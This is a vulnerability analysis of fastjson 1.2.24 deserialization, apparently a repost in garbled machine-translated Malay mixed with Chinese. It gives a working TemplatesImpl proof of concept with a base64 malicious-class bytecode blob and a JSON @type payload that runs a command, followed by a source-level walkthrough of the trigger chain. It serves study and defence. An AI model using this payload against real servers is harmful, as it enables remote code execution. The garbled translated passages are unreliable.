Persekitaran kerentanan:
fastjson1.2.24
jdk1.7.80
Buat projek maven baharu dalam Kebergantungan fastjson diperkenalkan dalam fail pom.xml:
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
fastjson ialah pustaka penghuraian sumber terbuka daripada Alibaba untuk memproses format data json Ia menyokong penghuraian objek java ke dalam format rentetan json . Data, anda juga boleh memulihkan rentetan json ke objek java. Tidak sukar untuk melihat bahawa menukar objek java kepada data json ialah operasi bersiri, dan memulihkan data json kepada objek java ialah proses penyahserilan.
Sekarang mari kita lihat proses siri fastjson dan tentukan kelas pojo:
public class Student { private String name; private int age; public Student() { System.out.println(" method: Student() "); } public Student(String name , int age) { System.out.println(" method: Student(String name , int age) "); this.name = name; this.age = age; } public String getName() { System.out.println(" method: getName() "); return name; } public int getAge() { System.out.println(" method: getAge() "); return age; } public void setName(String name) { System.out.println(" method: setName() "); this.name = name; } public void setAge(int age) { System.out.println(" method setAge() "); this.age = age; } }
Contoh program:
public class FastjsonTest1 { public static void main(String[] args) { Student student = new Student("zhangsan" , 3); String jsonString = JSON.toJSONString(student); System.out.println(jsonString); } }
Hasil pelaksanaan adalah seperti berikut:
kaedah: Pelajar(Nama rentetan, umur int)
kaedah: getAge()
kaedah: getName()
{"age":3,"name":"zhangsan"}
fastjson memanggil kaedah toJSONString Kaedah getter objek dipanggil semasa proses menukar objek Pelajar kepada data rentetan json.
Selain itu, kaedah toJSONString juga boleh menentukan parameter SerializerFeature.WriteClassName apabila bersiri Selepas menentukan parameter ini, pilihan @type akan ditulis dalam data json semasa bersiri,
<. 🎜> adalah seperti berikut:
Pilihan @type dalam data json digunakan untuk menentukan kelas deserialisasi, iaitu, apabila data json ini dinyahsiri, ia akan dinyahsiri menjadi objek java mengikut nama kelas penuh yang dinyatakan dalam pilihan @type. 2. fastjson penyahserilanfastjson menyediakan dua fungsi penyahsiran: parseObject dan parse Mari kita lihat proses penyahserikatan fastjson melalui program sampel<. 🎜>Kaedah 1 memanggil kaedah parseObject untuk menyahsiri data json menjadi objek java, dan kaedah setter dan getter objek dipanggil semasa proses penyahserikatan.
Kaedah 2 memanggil kaedah parseObject untuk penyahserilan, dan menentukan kelas pelajar objek penyahserialisasian Kaedah parseObject akan menyahsiri data json menjadi objek Pelajar, dan memanggil objek Pelajar semasa proses penetapan.
Kaedah 3 memanggil kaedah penghuraian untuk menyahsiri data json menjadi objek java dan memanggil kaedah penetap objek semasa penyahserialisasian.
PerihalCiri.SupportNonPublicFieldParameter: Tiga kaedah di atas akan memanggil pembina objek untuk mencipta objek semasa menyahsiri, dan juga akan memanggil kaedah penetap objek Jika harta persendirian tidak menyediakan kaedah penetap, ia akan dinyahsiri dengan betul. Untuk mengesahkan tekaan ini, kini kami mengalih keluar kaedah penetap nama harta peribadi objek Pelajar.
Berdasarkan hasil pelaksanaan program, nama atribut peribadi tidak dinyahsiri dengan betul, yang bermaksud fastjson tidak akan menyahsiri atribut peribadi secara lalai.
Jika anda perlu menyahsiri sifat peribadi, anda boleh memanggil kaedah parseObject untuk menentukan parameter Feature.SupportNonPublicField,
seperti berikut:Kaedah 1 tidak menyatakan parameter Feature.SupportNonPublicField apabila menyahsiri, dan nama atribut persendirian tidak mempunyai nilai apabila ia tidak dinyahsiri Kaedah 2 dan 3 menentukan Ciri . Selepas parameter SupportNonPublicField, nama harta peribadi boleh dinyahsiri dengan betul.
3. Prinsip kerentanan deserialisasi fastjson
Kami menggunakan kes mudah untuk menggambarkan prinsip kerentanan penyahserialisasi fastjson
Dalam program sampel ini, kelas berniat jahat mula-mula dibina, dan kemudian kaedah toJSONString dipanggil untuk menyerikan objek dan tulisnya @type, nyatakan @type sebagai nama penuh kelas jahat TestTempletaHello Apabila kaedah parse dipanggil untuk menyahsiri kelas TestTempletaHello, kaedah pembina kelas berniat jahat akan dipanggil untuk mencipta objek instance. kod statik dalam blok TestTempletaHello kelas berniat jahat akan dilaksanakan.package com.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; import java.io.IOException; /** * @auther songly_ * @data 2021/8/23 15:27 */ //定义一个恶意类TestTempletaHello class TestTempletaHello { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } } public class FastjsonTest1 { public static void main(String[] args) { //创建恶意类的实例并转换成json字符串 TestTempletaHello testTempletaHello = new TestTempletaHello(); String jsonString = JSON.toJSONString(testTempletaHello, SerializerFeature.WriteClassName); System.out.println(jsonString); //将json字符串转换成对象 Object obj = JSON.parse(jsonString); System.out.println(obj); } }
4 kerentanan Fastjson1.2.24 diterbitkan semula
在学习CC2利用链的时候我们分析了一个基于TemplatesImpl类的利用链,该类会把_bytecodes属性的字节码内容加载并实例化,关于TemplatesImpl类的利用链的具体介绍可参考CC2利用链。
fastjson1.2.24的反序列化漏洞也是基于TemplatesImpl类来构造利用链,思路如下:
1. 构造一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist字节码编程将恶意类TempletaPoc转换成字节码并进行base64编码。
2. 然后构造TemplatesImpl类的json数据,将TempletaPoc类的字节码设置到_bytecodes属性中,当json数据在还原成TemplatesImpl对象时会加载_bytecodes属性中的TempletaPoc类并实例化,从而触发漏洞。
定义一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist将恶意类TempletaPoc转换成字节码,然后进行base64编码
package com.fastjson.pojo; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class TempletaPoc extends AbstractTranslet { //构造RCE代码 static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
最终的poc代码:
package com.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.alibaba.fastjson.serializer.SerializerFeature; import com.fastjson.pojo.Student; import com.fastjson.pojo.TempletaPoc; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.security.utils.Base64; import javassist.*; import java.io.IOException; /** * @auther songly_ */ public class FastjsonTest1 { public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException { //恶意类TempletaPoc转换成字节码,base64编码 String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ=="; //构造TemplatesImpl的json数据,并将恶意类注入到json数据中 final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+byteCode+"\"]," + "'_name':'TempletaPoc'," + "'_tfactory':{}," + "\"_outputProperties\":{}}\n"; System.out.println(payload); //反序列化 Object object = JSON.parseObject(payload,Feature.SupportNonPublicField); } }
这里解释一下payload的构造:
@type:当fastjson根据json数据对TemplatesImpl类进行反序列化时,会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化,执行RCE代码。
_bytecodes:前面已经介绍过了,主要是承载恶意类TempletaPoc的字节码。
_name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验,因此_name的值不能为null(具体可参考CC2利用链)
_tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类
outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。
漏洞利用成功,接下来我们分析一下parseObject方法是如何触发漏洞的
参数features是一个可变参数,parseObject方法底层实际上是调用了parse方法进行反序列化,并且将反序列化的Object对象转成了JSONObject
public static JSONObject parseObject(String text, Feature... features) { return (JSONObject) parse(text, features); }
parse方法会循环获取可变参数features中的值,然后继续调用parse方法
public static Object parse(String text, Feature... features) { int featureValues = DEFAULT_PARSER_FEATURE; for (Feature feature : features) { featureValues = Feature.config(featureValues, feature, true); } return parse(text, featureValues); }
分析parse方法:
public static Object parse(String text, int features) { if (text == null) { return null; } //将json数据放到了一个DefaultJSONParser对象中 DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); //然后调用parse方法解析json Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; }
parse方法创建了一个JSONObject对象存放解析后的json数据,而parseObject方法作用就是把json数据的内容反序列化并放到JSONObject对象中,JSONObject对象内部实际上是用了一个HashMap来存储json。
public Object parse(Object fieldName) { final JSONLexer lexer = this.lexer; switch (lexer.token()) { //省略部分代码...... case LBRACE: //创建一个JSONObject对象 JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); //parseObject方法 return parseObject(object, fieldName); //省略部分代码...... } }
继续跟进parseObject方法;
public final Object parseObject(final Map object, Object fieldName) { //省略部分代码...... //从json中提取@type key = lexer.scanSymbol(symbolTable, '"'); //省略部分代码...... //校验@type if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { //提取type对应的值 String typeName = lexer.scanSymbol(symbolTable, '"'); //然后根据typeName进行类加载 Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); if (clazz == null) { object.put(JSON.DEFAULT_TYPE_KEY, typeName); continue; } } //省略部分代码...... //然后将class对象封装成ObjectDeserializer对象 ObjectDeserializer deserializer = config.getDeserializer(clazz); //然后调用deserialze方法进行反序列化 return deserializer.deserialze(this, clazz, fieldName); }
parseObject方法主要是从json数据中提取@type并进行校验是否开启了autoType功能,接着会调用loadClass方法加载@type指定的TemplatesImpl类,然后将TemplatesImpl类的class对象封装到ObjectDeserializer 中,然后调用deserialze方法进行反序列化。
我们来看一下deserializer的内容,如下图所示:
TemplatesImpl类的每个成员属性封装到deserializer的fieldInfo中了。
然后调用了deserialze方法,该方法中的参数如下所示:
deserialze方法内部的代码逻辑实在是太复杂了,内部有大量的校验和if判断,这里只是简单的分析了大概的逻辑,这些已经足够我们理解TemplatesImpl的利用链了,后期深入分析fastjson的防御机制,以及在构造payload如何绕过校验机制时,再深入分析deserialze方法分析fastjson的解析过程做了哪些事情,目前我们先把TemplatesImpl的利用链搞清楚再说。
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) { //省略部分代码...... //调用createInstance方法实例化 if (object == null && fieldValues == null) { object = createInstance(parser, type); if (object == null) { fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length); } childContext = parser.setContext(context, object, fieldName); } //省略部分代码...... //调用parseField方法解析json boolean match = parseField(parser, key, object, type, fieldValues); }
我们只分析deserialze方法中的部分核心代码,deserialze方法内部主要是调用了createInstance方法返回一个object类型的对象(也就是TemplatesImpl对象),然后调用了parseField方法解析属性字段。
parseField方法:
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) { //省略部分代码...... FieldDeserializer fieldDeserializer = smartMatch(key); //SupportNonPublicField选项 final int mask = Feature.SupportNonPublicField.mask; //if判断会校验SupportNonPublicField选项 if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) { //获取TemplatesImpl对象的属性信息 } //省略部分代码...... //调用parseField方法解析字段 fieldDeserializer.parseField(parser, object, objectType, fieldValues); return true; }
parseField方法内部会对参数features中的SupportNonPublicField选项进行校验,这个if判断主要是获取TemplatesImpl对象的所有非final或static的属性,如果fastjson调用parseObject方法时没有设置SupportNonPublicField选项的话,就不会进入这个if判断,那么fastjson在进行反序列化时就不会触发漏洞。
校验完SupportNonPublicField选项后,调用parseField方法解析TemplatesImpl对象的属性字段,先来看一下parseField方法的参数
parseField方法主要会做以下事情,调用fieldValueDeserilizer的deserialze方法将json数据中每个属性的值都提取出来放到value 中,然后调用setValue方法将value的值设置给object。
@Override public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) { //省略部分代码...... //解析json中的数据(将每个属性的值还原) value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name); //省略部分代码...... setValue(object, value); }
可以看到deserialze方法将json数据中的_bytecodes值提取出来进行base64解码存放到value中,接着调用setValue方法将value设置给object(即TemplatesImpl对象的_bytecodes)。
继续跟进fieldValueDeserilizer的deserialze方法
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { //省略部分代码...... if (lexer.token() == JSONToken.LITERAL_STRING) { //调用了bytesValue方法 byte[] bytes = lexer.bytesValue(); lexer.nextToken(JSONToken.COMMA); return (T) bytes; } //省略部分代码...... }
deserialze方法内部调用了bytesValue方法。
bytesValue方法内部调用了确实对json数据中的_bytecodes值进行了base64解码
前面我们说过json数据中的outputProperties的作用是触发TemplatesImpl利用链的
触发漏洞的关键就在于当fastjson调用setValue方法将json数据中的outputProperties的值设置给TemplatesImpl对象时会触发漏洞,调用TemplatesImpl类的getOutputProperties方法。
继续分析setValue方法是如何触发漏洞的
public void setValue(Object object, Object value){ //首先校验value是否为null if (value == null // && fieldInfo.fieldClass.isPrimitive()) { return; } try { //根据outputProperties属性获取对应的方法 Method method = fieldInfo.method; if (method != null) { if (fieldInfo.getOnly) { if (fieldInfo.fieldClass == AtomicInteger.class) { AtomicInteger atomic = (AtomicInteger) method.invoke(object); if (atomic != null) { atomic.set(((AtomicInteger) value).get()); } } else if (fieldInfo.fieldClass == AtomicLong.class) { AtomicLong atomic = (AtomicLong) method.invoke(object); if (atomic != null) { atomic.set(((AtomicLong) value).get()); } } else if (fieldInfo.fieldClass == AtomicBoolean.class) { AtomicBoolean atomic = (AtomicBoolean) method.invoke(object); if (atomic != null) { atomic.set(((AtomicBoolean) value).get()); } } else if (Map.class.isAssignableFrom(method.getReturnType())) { //反射调用getOutputProperties方法 Map map = (Map) method.invoke(object); if (map != null) { map.putAll((Map) value); } } else { Collection collection = (Collection) method.invoke(object); if (collection != null) { collection.addAll((Collection) value); } } } else { method.invoke(object, value); } return; } } //省略部分代码...... }
setValue方法对value进行了不为null的校验,然后解析_outputProperties(json中的_outputProperties被封装到了fieldInfo中)。
fastjson会将属性的相关信息封装到fieldInfo中,具体信息如下:
然后判断method中的getOutputProperties的返回值是否为Map,为什么是通过Map接口的class对象来判断?因为Properties实现了Map接口,因此这个判断满足条件会通过反射调用TemplatesImpl对象的getOutputProperties方法。
关于getOutputProperties方法的调用
不知道大家有没有思考过fastjson是如何获取到getOutputProperties方法的?原因在于parseField方法内部调用了JavaBeanDeserializer类的smartMatch方法
smartMatch方法会将json中的_outputProperties中的下划线去掉,替换成outputProperties并封装到fieldInfo中,我们知道fastjson在反序列化过程中会调用属性的getter方法,因此这里还会将outputProperties属性的getter方法也封装到fieldInfo中的method当中。
public FieldDeserializer smartMatch(String key) { //省略部分代码...... if (fieldDeserializer == null) { boolean snakeOrkebab = false; String key2 = null; for (int i = 0; i < key.length(); ++i) { char ch = key.charAt(i); //是否有"_"特殊字符串 if (ch == '_') { snakeOrkebab = true; //把_字符串替换为空 key2 = key.replaceAll("_", ""); break; } else if (ch == '-') { snakeOrkebab = true; key2 = key.replaceAll("-", ""); break; } } if (snakeOrkebab) { fieldDeserializer = getFieldDeserializer(key2); if (fieldDeserializer == null) { for (FieldDeserializer fieldDeser : sortedFieldDeserializers) { if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) { fieldDeserializer = fieldDeser; break; } } } } } //省略部分代码...... }
我们貌似... 大概知道了getOutputProperties方法是如何获取的,继续思考一下:fastjson在反序列化过程中具体是如何调用属性的getter方法的?
答案是JavaBeanInfo类中有一个build方法,当通过@type获取TemplatesImpl类的calss对象后,会通过反射获取该类的class对象的所有方法并封装到Method数组中。然后通过for循环遍历Method获取getter方法,并将outputProperties属性和getter方法(getOutputProperties方法)一起封装到FieldInfo,从代码中确实可以看到add方法会将FieldInfo放到了一个fieldList中,然后将fieldList封装到JavaBeanInfo
getter方法的查找方式需要满足以下几个条件:
方法名长度不小于4
必须是非静态方法
必须get字符串开头,并且第四个字符为大写字母
方法中不能有参数
返回值继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong
在getter方法中不能有setter方法
这样一来自然就获取到了getOutputProperties( )方法,当setValue方法从FieldInfo获取到outputProperties属性和getOutputProperties方法并反射调用getOutputProperties方法就会触发TemplatesImpl利用链。
getOutputProperties方法内部调用了newTransformer方法
public synchronized Properties getOutputProperties() { try { //调用newTransformer方法 return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
newTransformer方法内部调用了getTransletInstance方法
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; //调用了getTransletInstance方法 transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
getTransletInstance方法内部会对_name和_class进行不为null校验, 我们构造的payload没有_class,因此这里_class为null会调用defineTransletClasses方法加载_bytecodes属性的类字节码(加载TempletaPoc类)。
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; //调用defineTransletClasses方法 if (_class == null) defineTransletClasses(); //根据_class实例化类 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); }
跟进defineTransletClasses方法:
private void defineTransletClasses() throws TransformerConfigurationException { //校验_bytecodes if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { //通过_tfactory调用getExternalExtensionsMap方法 return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new Hashtable(); } for (int i = 0; i < classCount; i++) { //加载_bytecodes中的类(TempletaPoc) _class[i] = loader.defineClass(_bytecodes[i]); //获取TempletaPoc的父类 final Class superClass = _class[i].getSuperclass(); // Check if this is the main class //是否继承了AbstractTranslet类 if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
defineTransletClasses方法内部会加载_bytecodes中的类字节码数据(加载TempletaPoc类),并且会校验TempletaPoc类是否继承了AbstractTranslet类。然后返回到getTransletInstance方法中,调用newInstance方法实例化TempletaPoc类执行RCE代码。
Atas ialah kandungan terperinci Keselamatan Java fastjson1.2.24 penyahserialisasian TemplatImpl analisis contoh. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!